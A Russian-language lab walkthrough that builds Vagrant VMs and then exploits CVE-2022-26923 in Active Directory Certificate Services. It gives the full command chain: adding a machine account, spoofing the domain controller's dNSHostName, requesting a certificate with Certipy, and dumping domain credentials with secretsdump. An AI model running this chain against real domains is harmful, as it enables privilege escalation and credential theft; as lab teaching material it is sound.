
Эксплуатация CVE-2022-26923
CVE-2022-26923 — это уязвимость в службах сертификации Active Directory (AD CS), которая позволяет злоумышленнику повышать привилегии, злоупотребляя аутентификацией на основе сертификатов. В этом руководстве описаны шаги по эксплуатации данной уязвимости с помощью Impacket и Certipy.
| Виртуальная машина | Имя пользователя | Пароль |
|---|---|---|
| Windows Server | Administrator | !@windowsadmintest101 |
| Windows Server | testuser | $Vulnerable139 |
| Kali-Linux VM | vagrant | vagrant |
Сначала клонируйте репозиторий, содержащий необходимые файлы:
git clone https://github.com/rayngnpc/CVE-2022-26923-rayng.git
cd CVE-2022-26923-rayng
Репозиторий содержит две папки, в каждой из которых есть Vagrantfile для развёртывания виртуальных машин. Перед продолжением необходимо установить Vagrant на хост-машину.
Скачайте и установите Vagrant отсюда. Или установите с помощью PowerShell:
choco install vagrant
sudo apt update && sudo apt install vagrant -y
Перейдите в каталог WindowsServer2022:
cd WindowsServer2022
vagrant up
Это загрузит и настроит виртуальную машину Windows Server 2022 в VirtualBox.
Перейдите в каталог Kali-LinuxVM:
cd Kali-LinuxVM
vagrant up
Поскольку для эксплуатации требуется NAT-сеть, настройте VirtualBox следующим образом:
Перед выполнением приведённой ниже команды убедитесь, что VBoxManage добавлен в переменные окружения. Если нет, выполните команду, указав её полный путь:
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Если VBoxManage не распознан, используйте:
"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable
Проверьте обе VM в VirtualBox и убедитесь, что они назначены на сетевой адаптер NatNetwork - NatNet1.
Вы можете создать NAT-сеть с другим именем, но она должна находиться в диапазоне IP-адресов 10.0.2.0/24.
Перед продолжением убедитесь, что Windows Server 2022 и Kali Linux VM включены.
Войдите в виртуальную машину Kali Linux, чтобы начать атаку.
Обновите файл /etc/hosts, чтобы сопоставить IP-адрес контроллера домена:
sudo nano /etc/hosts
Добавьте следующую запись:
10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local
Сохраните изменения и выйдите.
Перейдите в каталог CVE-26923 и активируйте виртуальное окружение Python:
cd ~/CVE-26923
source ~/CVE-26923/rayng/bin/activate
С помощью утилиты addcomputer из Impacket:
impacket-addcomputer -computer-name 'PCTEST1' -computer-pass 'testuser' -dc-host 10.0.2.121 -domain-netbios pchau.domain.local pchau.domain.local/testuser:'$Vulnerable139'
ssh [email protected]
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Set-ADComputer PCTEST1 -DnsHostName SERVER2022.pchau.domain.local
Get-ADComputer PCTEST1 -properties dnshostname,serviceprincipalname
Проверьте компьютеры домена:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Перейдите в каталог bloodyAD и используйте bloodyAD.py, чтобы добавить PCTEST1 в домен:
cd ~/CVE-26923/bloodyAD/
python3 bloodyAD.py -d pchau.domain.local -u testuser -p '$Vulnerable139' --host 10.0.2.121 set object PCTEST1$ dNSHostName -v 'SERVER2022.pchau.domain.local'
Проверьте, что PCTEST1 был добавлен в домен:
impacket-GetADComputers pchau.domain.local/testuser:'$Vulnerable139' -dc-ip 10.0.2.121
Используйте Certipy для поиска уязвимых сертификатов:
certipy find -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser'
Запросите машинный сертификат с помощью Certipy:
certipy req -dc-ip 10.0.2.121 -username 'PCTEST1$' -password 'testuser' -template Machine -ca pchau-SERVER2022-CA
Аутентифицируйтесь с помощью полученного сертификата:
certipy auth -pfx server2022.pfx
После выполнения команды certipy auth будут отображены два хеша. Хеш, расположенный справа, будет использоваться для NTLM-аутентификации.
Пример вывода хеша:
aad3b435b51404eeaad3b435b51404ee:69079fd4946af567d682d61e121f29e7
Используйте извлечённый NTLM-хеш для дампа учётных данных:
impacket-secretsdump '[email protected]' -hashes :69079fd4946af567d682d61e121f29e7
На этом полная цепочка атак для эксплуатации CVE-2022-26923 завершена.